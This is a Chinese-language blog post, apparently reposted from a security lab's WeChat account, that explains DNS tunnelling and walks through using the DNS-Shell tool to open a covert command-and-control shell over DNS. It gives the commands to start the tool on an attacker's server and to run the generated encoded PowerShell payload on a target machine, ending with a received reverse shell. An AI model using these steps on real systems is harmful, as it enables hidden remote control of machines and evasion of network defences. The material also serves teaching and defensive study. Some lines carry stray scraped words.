![](http://static.javashuo.com/static/loading.gif)
目錄css
DNS隧道python
利用DNS進行命令控制(DNS-Shell)git
DNS-Shell的使用github
![](http://static.javashuo.com/static/loading.gif)
►DNS隧道shell
DNS協議是一種請求、應答協議,也是一種可用於應用層的隧道技術。DNS隧道的工做原理很簡單,在進行DNS查詢時,若是查詢的域名不在DNS服務器本機緩存中,就會訪問互聯網進行查詢,而後返回結果。若是在互聯網上有一臺定製的服務器,那麼依靠DNS協議便可進行數據包的交互。從DNS協議的角度來看,這樣的操做只是在一次次地查詢某個特定的域名並獲得解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上返回的能夠是任意的字符串,包括加密的C&C指令。apache
在使用DNS隧道與外部進行通訊時,從表面上看是沒有鏈接外網的(內網網關沒有轉發IP數據包)。但實際上,內網的DNS服務器進行了中轉操做。這就是DNS隧道的工做原理,簡單地說,就是將其餘協議封裝在DNS協議中進行傳輸。緩存
![](http://static.javashuo.com/static/loading.gif)
▶利用DNS進行命令控制(DNS-Shell)安全
DNS-Shell是一款經過DNS信道實現交互式Shell的強大工具,該工具的服務器端基於Python開發,能夠任何一種安裝了Python環境的操做系統平臺上運行,工具所使用的Payload均已PowerShell命令進行編碼,保證了在不一樣平臺間運行的穩定性和兼容性。服務器
DNS-Shell運行機制微信
該工具所使用的Payload會在服務器端腳本被調用時自動生成,Payload會使用nslookup來向服務器端查詢和請求新的操做命令,接下來服務器端會監聽端口53並等待傳入的鏈接。當Payload在目標設備上成功執行後,服務器端將會生成一個交互式Shell並提供給用戶進行操做。
通訊信道創建成功後,Payload會繼續向服務器查詢和請求新的操做指令,當攻擊者在服務器端輸入新的操做命令後,Payload將會收到命令並執行該命令,而後在命令執行成功後將執行結果返回給服務器端。
![](http://static.javashuo.com/static/loading.gif)
▶DNS-Shell的使用
DNS-Shell的運行相對來講比較簡單,DNS-Shell支持兩種操做模式,即 直接操做模式 和 遞歸模式:
下載DNS-Shell:
git clone https://github.com/sensepost/DNS-Shell.git
DNS-Shell直接模式:
python2 DNS-Shell.py -l -d VPS的IP
該命令會生成一段payload
咱們將該payload複製,在目標機cmd窗口中執行
powershell.exe -e 生成的payload
能夠看到,咱們已經成功接收到反彈回來的shell了
相關文章:
內網轉發及隱蔽隧道 | 使用ICMP進行命令控制(Icmpsh)
內網轉發及隱蔽隧道 | 網絡層隧道技術之ICMP隧道(pingTunnel/IcmpTunnel)
參考文章:
利用DNS隧道構建隱蔽C&C信道
DNS-Shell:一款經過DNS信道來實現交互式Shell的強大工具
DNS Shell 一款控制服務器的工具
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。